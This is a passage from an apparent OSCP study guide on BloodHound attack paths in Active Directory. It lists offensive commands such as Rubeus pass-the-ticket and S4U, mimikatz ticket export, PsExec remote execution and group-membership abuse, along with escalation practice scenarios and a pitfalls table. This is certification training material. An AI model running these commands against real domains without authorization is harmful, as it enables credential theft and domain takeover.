- GPO-Based Escalation: Control GPO → modify → become local admin on targets
- Unconstrained Delegation: Control computer → enable delegation → capture TGT
- RBCD: Create computer → set AllowedToAct → S4U attack → access target
- Session-Based: Find session → extract tickets → pivot to admin targets
10.2 Must-Know Commands
-
SharpHound.exe --CollectionMethods All— Collect AD data - BloodHound shortest path queries — Find attack paths
-
Add-DomainGroupMember— Add yourself to a group -
Set-DomainObject— Modify computer/user properties -
Rubeus.exe triage— List Kerberos tickets -
Rubeus.exe ptt— Pass the ticket -
Rubeus.exe s4u— S4U2Self/S4U2Proxy attacks -
mimikatz sekurlsa::tickets /export— Export tickets -
gpupdate /force— Force policy refresh -
PsExec.exe \\target -s cmd.exe— Remote execution
10.3 Pre-Exam Practice Scenarios
-
Scenario 1: You have a user with GenericAll on a group that’s nested in Domain Admins
- Practice: Add yourself, verify membership, escalate
-
Scenario 2: You have GenericWrite on a GPO linked to an OU with servers
- Practice: Weaponize GPO, force update, access server
-
Scenario 3: You have GenericWrite on a computer with unconstrained delegation
- Practice: Enable delegation, bait DA, extract TGT, PTT
-
Scenario 4: You have WriteDACL on a target computer and can create computer accounts
- Practice: Create computer, set RBCD, S4U attack, access target
-
Scenario 5: A Domain Admin has an active session on a file server you can access
- Practice: Extract tickets, PTT, access DC
10.4 Common Pitfalls
| Pitfall | Solution |
|---|---|
| Forgetting to wait for token update after group addition | Re-authenticate or use runas |
| Not checking transitive group membership | Use whoami /all or net user /domain |
| GPO not applying immediately | Wait or force gpupdate /force on target |
| Delegation not working — computer not trusted | Verify UAC flags with Get-DomainComputer |
| RBCD failing — wrong SID format | Double-check SID format in the ACE |
| Ticket extraction fails — no debug privilege | Run as SYSTEM or use privilege::debug |
| BloodHound data stale | Re-run SharpHound after making changes |
Summary
BloodHound transforms Active Directory into a navigable graph of attack paths. For the OSCP exam, master these five core paths:
- ACL-Based — The most common and straightforward path
- GPO-Based — Powerful for gaining local admin on multiple machines
- Delegation-Based — Requires understanding Kerberos but very powerful
- RBCD — Modern and frequently tested in OSCP
- Session-Based — Great for lateral movement when you have a foothold
The key to success: Don’t just find the shortest path — find the most exploitable path. A 3-hop path with simple ACL abuse is often easier than a 2-hop path requiring complex Kerberos attacks.
Last Updated: 2026-09-01 | Chapter 17: Active Directory Introduction & Enumeration | Topic 13: BloodHound Attack Paths